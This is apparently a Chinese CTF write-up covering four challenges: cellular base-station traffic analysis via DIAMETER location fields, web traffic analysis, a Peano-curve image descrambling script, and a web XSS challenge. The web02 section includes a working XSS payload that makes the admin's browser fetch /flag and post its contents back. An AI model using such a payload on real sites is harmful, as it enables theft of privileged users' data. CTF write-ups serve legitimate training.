misc01
基站流量分析。
甚至去看了不少 specification（恼
流量包中有S1AP/DIAMETER/GTPv2等协议的流量包。其中GTPv2是设备和基站连接使用。S1AP/DIAMETER是基站间通信使用？
S1AP操作更底层的内容，不太可能包含位置信息。加上 GPT 大人说 DIAMETER 可以用于位置服务，就把 diameter 的包全部过滤出来了。然后一个一个看，第 110 个包中有 EPS-Location-Infomation.找到其中的唯一标识码：EPS-Location-Information.MME-Location-Infomation.E-UTRAN-Cell-Global-Identity的值，md5 后提交即可。（试了我好久😡
misc03
网站流量分析。
其实好像把所有发包的 ip 全部取出来试一下就出了。
misc04
怎么还能是原题呢。peano 曲线。
IrisCTF2024+SBCTF2024原题。脚本一把梭。另外之前群里传的那个图非常有可能是我出的…
import numpy as np
from PIL import Image
def peano_curve(n):
peano_old = np.array([[0, 0], [0, 1], [0.5, 1], [0.5, 0], [1, 0], [1, 1]])
points = peano_old.tolist()
# points = []
for i in range(1, n):
p1 = np.column_stack((peano_old[:, 0], 2 + 1 / (3**i - 1) - peano_old[:, 1]))
p1 = p1[::-1]
p2 = np.column_stack((p1[:, 0], 4 + 3 / (3**i - 1) - p1[:, 1]))
p2 = p2[::-1]
peano_new = np.vstack((peano_old, p1, p2))
p1 = np.column_stack((2 + 1 / (3**i - 1) - peano_new[:, 0], peano_new[:, 1]))
p1 = p1[::-1]
p2 = np.column_stack((4 + 3 / (3**i - 1) - p1[:, 0], p1[:, 1]))
p2 = p2[::-1]
peano_new = np.vstack((peano_new, p1, p2))
peano_old = peano_new / (3 + 2 / (3**i - 1))
points = peano_old.tolist()
points = np.round(np.array(points) * (3**n - 1)).astype(int)
nP = []
for i in range(len(points) - 1):
nP.append(points[i])
dx = int(points[i + 1][0] - points[i][0])
dy = int(points[i + 1][1] - points[i][1])
if dx == 0:
for j in range(1, abs(dy)):
nP.append(np.array([points[i][0], points[i][1] + j * (dy // abs(dy))]))
else:
for j in range(1, abs(dx)):
nP.append(np.array([points[i][0] + j * (dx // abs(dx)), points[i][1]]))
nP.append(points[-1])
return np.array(nP)
points = peano_curve(6)
r = np.array(Image.open("encrypto.png").convert("RGB"))
w, h = r.shape[:2]
s = []
for i in range(len(points)):
y, x = points[i]
s.append(r[x, w - 1 - y])
Image.fromarray(np.array(s).reshape((h, w, 3))).save("crypt2.png")然后是个二维码，扫开就行。
web02
随便登录，发现有 xss，flag 应该是在/flag 路径下。思路是 xss 让 boss 端浏览器访问/flag得到内容，并且直接 post 回原来的位置就行。
<script>
fetch("/flag").then(data=>data.text())
.then(data=>{
fetch(document.location,{
method: "POST",
headers: {"Content-Type":"application/x-www-form-urlencoded"},
body: `content=${data}`
}
});
</script>